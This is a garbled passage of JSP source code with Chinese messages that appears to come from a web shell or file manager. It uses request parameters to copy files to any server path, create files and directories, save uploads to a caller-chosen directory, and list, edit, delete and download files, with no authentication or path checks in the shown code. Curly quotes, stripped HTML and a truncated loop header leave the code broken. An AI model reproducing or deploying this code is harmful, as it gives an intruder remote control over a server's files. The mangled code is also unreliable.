String strDesFile=request.getParameter(“file2″);
if(strDesFile==null || strDesFile.equals(“”))
{
sbSaveCopy.append(“

目标文件错误。“);
}
else
{
File f_des=new File(strDesFile);
if(f_des.isFile())
{
sbSaveCopy.append(“

目标文件已存在,不能复制。“);
}
else
{
String strTmpFile=strDesFile;
if(f_des.isDirectory())
{
 if(!strDesFile.endsWith(strSeparator))
 {
strDesFile=strDesFile+strSeparator;
 }
 strTmpFile=strDesFile+”cqq_”+strFile;
 }

File f_des_copy=new File(strTmpFile);
FileInputStream in1=new FileInputStream(f);
FileOutputStream out1=new FileOutputStream(f_des_copy);
byte[] buffer=new byte[1024];
int c;
while((c=in1.read(buffer))!=-1)
{
 out1.write(buffer,0,c);
}
in1.close();
out1.close();

sbSaveCopy.append(“原始文件 :”+strPath+”

“);
sbSaveCopy.append(“目标文件 :”+strTmpFile+”

“);
sbSaveCopy.append(“复制成功!“);
}
}
sbSaveCopy.append(“
“);
}
if(strAction!=null && strAction.equals(“newFile”))
{
String strF=request.getParameter(“fileName”);
String strType1=request.getParameter(“btnNewFile”);
String strType2=request.getParameter(“btnNewDir”);
String strType=”";
if(strType1==null)
{
strType=”Dir”;
}
else if(strType2==null)
{
strType=”File”;
}
if(!strType.equals(“”) && !(strF==null || strF.equals(“”)))
{
File f_new=new File(strF);
if(strType.equals(“File”) && !f_new.createNewFile())
 sbNewFile.append(strF+” 文件创建失败”);
if(strType.equals(“Dir”) && !f_new.mkdirs())
 sbNewFile.append(strF+” 目录创建失败”);
}
else
{
sbNewFile.append(“

建立文件或目录出错。“);
}
}

if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith(“multipart”)))
{
String tempdir=”.”;
boolean error=false;
response.setContentType(“text/html”);
HttpMultiPartParser parser = new HttpMultiPartParser();

int bstart = request.getContentType().lastIndexOf(“oundary=”);
String bound = request.getContentType().substring(bstart + 8);
int clength = request.getContentLength();
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
if (ht.get(“cqqUploadFile”) != null)
{

FileInfo fi = (FileInfo) ht.get(“cqqUploadFile”);
File f1 = fi.file;
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
if (info != null && info.aborted)
{
f1.delete();
request.setAttribute(“error”, “Upload aborted”);
}
else
{
String path = (String) ht.get(“path”);

if(path!=null && !path.endsWith(strSeparator))
 path = path + strSeparator;
 strDir = path;
//out.println(path + f1.getName());
if (!f1.renameTo(new File(path + f1.getName())))
{
 request.setAttribute(“error”, “Cannot upload file.”);
 out.println(“error,upload “);
 error = true;
 f1.delete();
}
}
}
}
%>





























<%
StringBuffer sbFolder=new StringBuffer(“”);
StringBuffer sbFile=new StringBuffer(“”);
try
{
File objFile = new File(strDir);
File list[] = objFile.listFiles();
if(objFile.getAbsolutePath().length()>3)
{
sbFolder.append(“
  javascript:doForm(”,’”+formatPath(objFile.getParentFile().getAbsolutePath())+”‘,”,’”+strCmd+”‘,’1′,”);\”>”);
sbFolder.append(strParentFolder[languageNo]+”

- – - – - – - – - – -

\r\n “);

}
for(int i=0;i {
if(list[i].isDirectory())
{
sbFolder.append(“
  “);
sbFolder.append(“javascript:doForm(”,’”+formatPath(list[i].getAbsolutePath())+”‘,”,’”+strCmd+”‘,’1′,”);\”>”);
sbFolder.append(list[i].getName()+”

“);
}
else
{
 String strLen=”";
String strDT=”";
long lFile=0;
lFile=list[i].length();
strLen = convertFileSize(lFile);
Date dt=new Date(list[i].lastModified());
strDT=dt.toLocaleString();
sbFile.append(“
“);
sbFile.append(“”+list[i].getName());
sbFile.append(“ “);
sbFile.append(“”+strLen);
sbFile.append(“ “);
sbFile.append(“”+strDT);
sbFile.append(“ “);

sbFile.append(”  javascript:doForm(‘edit’,'”+formatPath(strDir)+”‘,’”+list[i].getName()+”‘,’”+strCmd+”‘,’”+tabID+”‘,”);\”>”);
sbFile.append(strFileEdit[languageNo]+”
“);

sbFile.append(”  javascript:doForm(‘del’,'”+formatPath(strDir)+”‘,’”+list[i].getName()+”‘,’”+strCmd+”‘,’”+tabID+”‘,”);\”>”);
sbFile.append(strFileDel[languageNo]+”
“);

sbFile.append(“ javascript:doForm(‘down’,'”+formatPath(strDir)+”‘,’”+list[i].getName()+”‘,’”+strCmd+”‘,’”+tabID+”‘,”);\”>”);
sbFile.append(strFileDown[languageNo]+”
“);

sbFile.append(“ javascript:doForm(‘copy’,'”+formatPath(strDir)+”‘,’”+list[i].getName()+”‘,’”+strCmd+”‘,’”+tabID+”‘,”);\”>”);
sbFile.append(strFileCopy[languageNo]+”
“);
}

}
}
catch(Exception e)
{
out.println(“操作失败: “+e.toString()+”“);
}
%>